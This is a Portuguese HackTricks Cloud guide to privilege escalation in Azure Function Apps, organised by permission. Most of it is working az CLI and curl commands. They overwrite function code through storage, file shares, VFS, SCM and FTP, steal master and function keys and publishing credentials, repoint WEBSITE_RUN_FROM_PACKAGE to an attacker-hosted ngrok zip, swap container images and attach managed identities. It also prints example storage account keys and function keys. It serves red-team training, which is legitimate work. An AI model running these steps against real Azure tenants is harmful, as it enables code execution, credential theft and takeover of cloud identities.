Az - Functions App Privesc
Reading time: 16 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Function Apps
Verifique a página a seguir para mais informações:
Leitura/Gravação de Bucket
Com permissões para ler os contêineres dentro da Conta de Armazenamento que armazena os dados da função, é possível encontrar diferentes contêineres (personalizados ou com nomes pré-definidos) que podem conter o código executado pela função.
Uma vez que você encontra onde o código da função está localizado, se você tiver permissões de gravação sobre ele, pode fazer a função executar qualquer código e escalar privilégios para as identidades gerenciadas anexadas à função.
File Share
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
eWEBSITE_CONTENTSHARE
)
O código da função geralmente é armazenado dentro de um compartilhamento de arquivos. Com acesso suficiente, é possível modificar o arquivo de código e fazer a função carregar código arbitrário, permitindo escalar privilégios para as identidades gerenciadas anexadas à Função.
Esse método de implantação geralmente configura as configurações WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
e WEBSITE_CONTENTSHARE
que você pode obter de
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Essas configurações conterão a Chave da Conta de Armazenamento que a Função pode usar para acessar o código.
caution
Com permissões suficientes para se conectar ao File Share e modificar o script em execução, é possível executar código arbitrário na Função e escalar privilégios.
O exemplo a seguir usa macOS para se conectar ao file share, mas é recomendável verificar também a seguinte página para mais informações sobre file shares:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases
(WEBSITE_RUN_FROM_PACKAGE
)
É comum encontrar os zip releases dentro da pasta function-releases
do contêiner da Conta de Armazenamento que o aplicativo de função está usando em um contêiner geralmente chamado function-releases
.
Normalmente, esse método de implantação definirá a configuração WEBSITE_RUN_FROM_PACKAGE
em:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Esta configuração geralmente conterá uma SAS URL para download do código da Conta de Armazenamento.
caution
Com permissões suficientes para se conectar ao contêiner de blob que contém o código em zip, é possível executar código arbitrário na Função e escalar privilégios.
github-actions-deploy
(WEBSITE_RUN_FROM_PACKAGE)
Assim como no caso anterior, se a implantação for feita via Github Actions, é possível encontrar a pasta github-actions-deploy
na Conta de Armazenamento contendo um zip do código e uma SAS URL para o zip na configuração WEBSITE_RUN_FROM_PACKAGE
.
scm-releases
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
eWEBSITE_CONTENTSHARE
)
Com permissões para ler os contêineres dentro da Conta de Armazenamento que armazena os dados da função, é possível encontrar o contêiner scm-releases
. Nele, é possível encontrar a versão mais recente no formato de arquivo de sistema de arquivos Squashfs e, portanto, é possível ler o código da função:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
É também possível encontrar as chaves master e functions armazenadas na conta de armazenamento no contêiner azure-webjobs-secrets
dentro da pasta <app-name>
nos arquivos JSON que você pode encontrar dentro.
caution
Com permissões suficientes para se conectar ao contêiner de blob que contém o código em um arquivo com extensão zip (que na verdade é um squashfs
), é possível executar código arbitrário na Função e escalar privilégios.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
Esta permissão permite listar as chaves de função, mestre e sistema, mas não a chave do host, da função especificada com:
az functionapp keys list --resource-group <res_group> --name <func-name>
Com a chave mestra, também é possível obter o código-fonte em uma URL como:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
E para mudar o código que está sendo executado na função com:
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
Esta permissão permite obter a chave do host da função especificada com:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Microsoft.Web/sites/host/functionKeys/write
Esta permissão permite criar/atualizar uma chave de função da função especificada com:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
Esta permissão permite criar/atualizar uma chave mestra para a função especificada com:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
caution
Lembre-se de que com esta chave você também pode acessar o código-fonte e modificá-lo, conforme explicado anteriormente!
Microsoft.Web/sites/host/systemKeys/write
Esta permissão permite criar/atualizar uma chave de função do sistema para a função especificada com:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/config/list/action
Esta permissão permite obter as configurações de uma função. Dentro dessas configurações, pode ser possível encontrar os valores padrão AzureWebJobsStorage
ou WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
que contêm uma chave de conta para acessar o blob storage da função com permissões COMPLETAS.
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
Além disso, essa permissão também permite obter o nome de usuário e senha do SCM (se habilitado) com:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/write
Essas permissões permitem listar os valores de configuração de uma função, como vimos antes, além de modificar esses valores. Isso é útil porque essas configurações indicam onde o código a ser executado dentro da função está localizado.
Portanto, é possível definir o valor da configuração WEBSITE_RUN_FROM_PACKAGE
apontando para um arquivo zip de URL contendo o novo código a ser executado dentro de uma aplicação web:
- Comece obtendo a configuração atual
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- Crie o código que você deseja que a função execute e o hospede publicamente
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- Modifique a função, mantenha os parâmetros anteriores e adicione no final a configuração
WEBSITE_RUN_FROM_PACKAGE
apontando para a URL com o zip contendo o código.
O seguinte é um exemplo das minhas próprias configurações que você precisará alterar os valores para os seus, note no final os valores "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"
, é aqui que eu estava hospedando o aplicativo.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
Com essa permissão, é possível modificar o código de uma aplicação através do console da web (ou através do seguinte endpoint da API):
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
Microsoft.Web/sites/publishxml/action
, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write
)
Esta permissão permite listar todos os perfis de publicação que basicamente contêm credenciais de autenticação básica:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
Outra opção seria definir suas próprias credenciais e usá-las com:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- Se as credenciais de REDACTED
Se você ver que essas credenciais estão REDACTED, é porque você precisa habilitar a opção de autenticação básica do SCM e para isso você precisa da segunda permissão (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Método SCM
Então, você pode acessar com essas credenciais de autenticação básica para a URL do SCM do seu aplicativo de função e obter os valores das variáveis de ambiente:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Note que o nome de usuário SCM é geralmente o caractere "$" seguido pelo nome do aplicativo, então: $<app-name>
.
Você também pode acessar a página da web em https://<app-name>.scm.azurewebsites.net/BasicAuth
Os valores das configurações contêm a AccountKey da conta de armazenamento que armazena os dados do aplicativo de função, permitindo controlar essa conta de armazenamento.
- Método FTP
Conecte-se ao servidor FTP usando:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
Observe que o nome de usuário FTP geralmente está no formato <app-name>\$<app-name>.
Microsoft.Web/sites/hostruntime/vfs/read
Esta permissão permite ler o código-fonte do aplicativo através do VFS:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
Com esta permissão, é possível obter o token de admin que pode ser usado posteriormente para recuperar a chave mestra e, portanto, acessar e modificar o código da função.
No entanto, nas minhas últimas verificações, nenhum token foi retornado, então pode estar desativado ou não funcionando mais, mas aqui está como você faria isso:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write
, (Microsoft.Web/sites/functions/properties/read
)
Esta permissão permite ativar funções que podem estar desativadas (ou desativá-las).
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
Também é possível ver se uma função está habilitada ou desabilitada na seguinte URL (usando a permissão entre parênteses):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write
, Microsoft.Web/sites/config/list/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/read
)
Com essas permissões, é possível modificar o contêiner executado por um aplicativo de função configurado para executar um contêiner. Isso permitiria que um atacante enviasse um aplicativo de contêiner de função malicioso para o docker hub (por exemplo) e fizesse a função executá-lo.
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/operationresults/read
)
Com essas permissões, é possível anexar uma nova identidade gerenciada pelo usuário a uma função. Se a função for comprometida, isso permitiria escalar privilégios para qualquer identidade gerenciada pelo usuário.
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
Depuração Remota
Também é possível conectar para depurar uma função Azure em execução, como explicado na documentação. No entanto, por padrão, o Azure desativará essa opção em 2 dias caso o desenvolvedor se esqueça, para evitar deixar configurações vulneráveis.
É possível verificar se uma Função tem a depuração ativada com:
az functionapp show --name <app-name> --resource-group <res-group>
Tendo a permissão Microsoft.Web/sites/config/write
, também é possível colocar uma função em modo de depuração (o comando a seguir também requer as permissões Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/Read
e Microsoft.Web/sites/Read
).
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Mudar repositório do Github
Tentei mudar o repositório do Github de onde a implantação está ocorrendo executando os seguintes comandos, mas mesmo que tenha mudado, o novo código não foi carregado (provavelmente porque está esperando que a Github Action atualize o código).
Além disso, a credencial federada da identidade gerenciada não foi atualizada permitindo o novo repositório, então parece que isso não é muito útil.
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.